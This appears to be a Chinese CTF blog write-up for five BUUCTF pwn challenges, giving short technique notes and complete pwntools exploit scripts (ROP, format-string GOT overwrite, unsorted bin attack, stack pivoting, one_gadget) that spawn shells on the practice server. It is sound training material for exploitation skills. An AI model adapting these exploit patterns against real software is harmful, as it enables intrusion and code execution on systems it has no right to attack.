BUUCTF pwn wp 51 - 55

wustctf2020_getshell_2

BUUCTF pwn wp 51 - 55
BUUCTF pwn wp 51 - 55

BUUCTF pwn wp 51 - 55
BUUCTF pwn wp 51 - 55

简单rop

from pwn import *

url, port = "node4.buuoj.cn", 25118
filename = "./wustctf2020_getshell_2"
elf = ELF(filename)
# libc = ELF("./")
# context(arch="amd64", os="linux")
context(arch="i386", os="linux")

local = 0
if local:
    context.log_level="debug"
    io = process(filename)
    # context.terminal = ['tmux', 'splitw', '-h']
    # gdb.attach(io)
else:
    io = remote(url, port)

def B():
    gdb.attach(io)
    pause()

def pwn():
    main_addr = elf.sym["main"]
    system_addr = 0x08048529
    sh_addr = 0x08048670

    payload = cyclic(0x18 + 4) + p32(system_addr) + p32(sh_addr)
    io.send(payload)

if __name__ == "__main__":
    pwn()
    io.interactive()

这里不用加返回地址再加sh, 因为call调用, 直接就用下一个栈数据作为参数

axb_2019_fmt32

BUUCTF pwn wp 51 - 55
BUUCTF pwn wp 51 - 55
在前面顶一个字符, 就可以得到第一个参数偏移为8, 利用格式化字符串漏洞任意读写, 先泄露libc, 然后ret2libc, 这里懒得逆向了, 知道大概程序有什么功能就可以直接开始利用

from pwn import *
from LibcSearcher import *

url, port = "node4.buuoj.cn", 28080
filename = "./axb_2019_fmt32"
elf = ELF(filename)
# libc = ELF("./")
# context(arch="amd64", os="linux")
context(arch="i386", os="linux")

local = 0
if local:
    context.log_level="debug"
    io = process(filename)
    # context.terminal = ['tmux', 'splitw', '-h']
    # gdb.attach(io)
else:
    context.log_level="debug"
    io = remote(url, port)

def B():
    gdb.attach(io)
    pause()

def pwn():
    printf_got = elf.got["printf"]
    strlen_got = elf.got["strlen"]

    payload = b"z" + p32(printf_got) + b"yy%8$s"
    io.sendafter("tell me:", payload)
    io.recvuntil(b"yy")
    printf_addr = u32(io.recv(4))
    log.info("printf addrese: %#x" % printf_addr)

    libc = LibcSearcher("printf", printf_addr)
    libc_base = printf_addr - libc.dump("printf")
    system_addr = libc_base + libc.dump("system")

    high_bytes = (system_addr >> 16) & 0xffff
    low_bytes = system_addr & 0xffff
    print('[+]sys_low:{}'.format(hex(low_bytes)))
    print('[+]sys_high:{}'.format(hex(high_bytes)))
    
    payload = b"z" + p32(strlen_got) + p32(strlen_got + 2)
    payload += b"%" + str(low_bytes - 18).encode() + b"c%8$hn" # Repeater:zaddraddr 18 bytes
    payload += b"%" + str(high_bytes - low_bytes).encode() + b"c%9$hn"
    io.sendlineafter("tell me:", payload)
    io.sendlineafter("tell me:", b";/bin/sh;")


if __name__ == "__main__":
    pwn()
    io.interactive()

这道题用python3打注意str转byte的方法是
str.encode()不是bytes()
另外卡点总结:
(1) c%8$hn写错成c$8%hn, 这里浪费了巨量时间呜呜
(2) 对python3的类型转换不够熟悉, 浪费巨量时间呜呜

hitcontraining_magicheap

BUUCTF pwn wp 51 - 55

BUUCTF pwn wp 51 - 55

edit这里有溢出

BUUCTF pwn wp 51 - 55

unsorted bin attack - unlink

          /* remove from unsorted list */
          if (__glibc_unlikely (bck->fd != victim))
            malloc_printerr ("malloc(): corrupted unsorted chunks 3");
          unsorted_chunks (av)->bk = bck;
          bck->fd = unsorted_chunks (av);

控制chunk的bk指向magic - 0x10处, unlink后, 会在magic处写入一个大数, 通过检测, get shell

参考https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/unsorted-bin-attack/

from pwn import *

url, port = "node4.buuoj.cn", 26284
filename = "./magicheap"
elf = ELF(filename)
# libc = ELF("./")
context(arch="amd64", os="linux")
# context(arch="i386", os="linux")

local = 0
if local:
    context.log_level="debug"
    io = process(filename)
    # context.terminal = ['tmux', 'splitw', '-h']
    # gdb.attach(io)
else:
    io = remote(url, port)

def B():
    gdb.attach(io)
    pause()

def Add(size, content):
    io.recvuntil(":")
    io.sendline("1")
    io.recvuntil(":")
    io.sendline(str(size))
    io.recvuntil(":")
    io.send(content)

def Edit(idx, size, content):
    io.recvuntil(":")
    io.sendline("2")
    io.recvuntil(":")
    io.sendline(str(idx))
    io.recvuntil(":")
    io.sendline(str(size))
    io.recvuntil(":")
    io.send(content)

def Delete(idx):
    io.recvuntil(":")
    io.sendline("3")
    io.recvuntil(":")
    io.sendline(str(idx))


def pwn():
    Add(0x10, "chunk0")
    Add(0x80, "chunk1")
    Add(0x10, "chunk2")
    Delete(1)

    magic = 0x00000000006020A0
    fd = 0
    bk = magic - 0x10
    payload = cyclic(0x10) + p64(0) + p64(0x91) + p64(fd) + p64(bk)
    Edit(0, 0x10 + 0x20, payload)

    Add(0x80, "chunk1")
    io.sendlineafter("choice :", "4869")


if __name__ == "__main__":
    pwn()
    io.interactive()

小结, unsorted bin attack, 总结起来就是通过控制bk来控制目标地址的数据

gyctf_2020_borrowstack

BUUCTF pwn wp 51 - 55
BUUCTF pwn wp 51 - 55

栈迁移, 泄露libc, ret2libc

from pwn import *
from LibcSearcher import *

url, port = "node4.buuoj.cn", 28563
filename = "./gyctf_2020_borrowstack"
elf = ELF(filename)
# libc = ELF("./")
context(arch="amd64", os="linux")
# context(arch="i386", os="linux")

local = 1
if local:
    context.log_level="debug"
    io = process(filename)
    # context.terminal = ['tmux', 'splitw', '-h']
    # gdb.attach(io)
else:
    io = remote(url, port)

def B():
    gdb.attach(io)
    pause()

def pwn():
    main_addr = elf.sym["main"]
    puts_plt = elf.plt["puts"]
    puts_got = elf.got["puts"]
    leave_ret_addr = 0x0000000000400699
    pop_rdi_addr = 0x0000000000400703
    bank_addr = 0x0000000000601080 + 0x80 # raise stack frame
    ret_addr = 0x00000000004004c9

    payload = cyclic(0x60) + p64(bank_addr) + p64(leave_ret_addr)
    io.sendafter("what you want\n", payload)
    
    payload = p64(ret_addr) * 20 + p64(pop_rdi_addr) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
    io.sendlineafter("stack now!\n", payload)
    puts_addr = u64(io.recv(6).ljust(8, b"\x00"))
    log.info("puts addresse: %#x" % puts_addr)

    libc = LibcSearcher("puts", puts_addr)
    libc_base = puts_addr - libc.dump("puts")
    system_addr = libc_base + libc.dump("system")
    binsh_addr = libc_base + libc.dump("str_bin_sh")

    payload = cyclic(0x60) + p64(bank_addr) + p64(leave_ret_addr)
    io.sendafter("what you want\n", payload)

    payload = p64(ret_addr) * 20 + p64(pop_rdi_addr) + p64(binsh_addr) + p64(system_addr) + p64(main_addr)
    io.sendlineafter("stack now!\n", payload)

if __name__ == "__main__":
    pwn()
    io.interactive()

但是! 这里由于bss段的到got表比较接近的缘故, 也可能是两次栈迁移的栈帧结构问题, ret2libc理论上似乎可以打通, 但是实际打不通, 具体原因需要调试分析, 所以实际打法还是用one gadget, 直接拿libc文件来用(官网有下载)

from pwn import *

url, port = "node4.buuoj.cn", 28563
filename = "./gyctf_2020_borrowstack"
elf = ELF(filename)
libc = ELF("/home/pwn/桌面/BUU-libc/libc_x64-2.23.so")
context(arch="amd64", os="linux")
# context(arch="i386", os="linux")

local = 0
if local:
    context.log_level="debug"
    io = process(filename)
    # context.terminal = ['tmux', 'splitw', '-h']
    # gdb.attach(io)
else:
    io = remote(url, port)

def B():
    gdb.attach(io)
    pause()

def pwn():
    main_addr = elf.sym["main"]
    puts_plt = elf.plt["puts"]
    puts_got = elf.got["puts"]
    leave_ret_addr = 0x0000000000400699
    pop_rdi_addr = 0x0000000000400703
    bank_addr = 0x0000000000601080 + 0x80 # raise stack frame
    ret_addr = 0x00000000004004c9
    one_gadget = 0x4526a # constraints: rax == NULL
    '''
    0x45216 execve("/bin/sh", rsp+0x30, environ)
    constraints:
    rax == NULL

    0x4526a execve("/bin/sh", rsp+0x30, environ)
    constraints:
    [rsp+0x30] == NULL

    0xf02a4 execve("/bin/sh", rsp+0x50, environ)
    constraints:
    [rsp+0x50] == NULL

    0xf1147 execve("/bin/sh", rsp+0x70, environ)
    constraints:
    [rsp+0x70] == NULL

    '''

    payload = cyclic(0x60) + p64(bank_addr) + p64(leave_ret_addr)
    io.sendafter("what you want\n", payload)
    
    payload = p64(ret_addr) * 20 + p64(pop_rdi_addr) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
    io.sendlineafter("stack now!\n", payload)
    puts_addr = u64(io.recv(6).ljust(8, b"\x00"))
    log.info("puts addresse: %#x" % puts_addr)

    libc_base = puts_addr - libc.sym["puts"]
    one_gadget += libc_base

    payload = cyclic(0x60 + 8) + p64(one_gadget)
    io.sendafter("what you want\n", payload)
    io.sendlineafter("stack now!\n", "falca")

if __name__ == "__main__":
    pwn()
    io.interactive()

双栈迁移到底行不行得通, to be continued…

ciscn_2019_s_4

BUUCTF pwn wp 51 - 55
BUUCTF pwn wp 51 - 55

BUUCTF pwn wp 51 - 55

栈迁移, 泄露ebp, 迁移到s[], 执行hack后门
这个ebp是上一个栈帧的ebp, 所以这个栈帧的ebp需要调试偏移量

BUUCTF pwn wp 51 - 55

BUUCTF pwn wp 51 - 55

from pwn import *

url, port = "node4.buuoj.cn", 27038
filename = "./ciscn_s_4"
elf = ELF(filename)
# libc = ELF("./")
# context(arch="amd64", os="linux")
context(arch="i386", os="linux")

local = 1
if local:
    context.log_level="debug"
    io = process(filename)
    # context.terminal = ['tmux', 'splitw', '-h']
    # gdb.attach(io)
else:
    io = remote(url, port)

def B():
    gdb.attach(io)
    pause()

def pwn():
    system_addr = elf.plt["system"]
    leave_ret_addr = 0x080484b8

    payload = cyclic(0x24) + b"zzzz"
    io.sendafter("your name?\n", payload)
    io.recvuntil(b"zzzz")
    ebp_addr = u32(io.recv(4))
    log.info("ebp address: %#x" % ebp_addr)

    # B()
    offset = 56
    s_addr = ebp_addr - offset

    payload = b"zzzz" + p32(system_addr) + b"zzzz" + p32(s_addr + 0x10) + b"/bin/sh\x00"
    payload = payload.ljust(0x28, b"z") + p32(s_addr) + p32(leave_ret_addr)
    io.send(payload)


if __name__ == "__main__":
    pwn()
    io.interactive()
上一篇:gyctf_2020_force


下一篇:[BUUCTF-pwn] inndy_petbook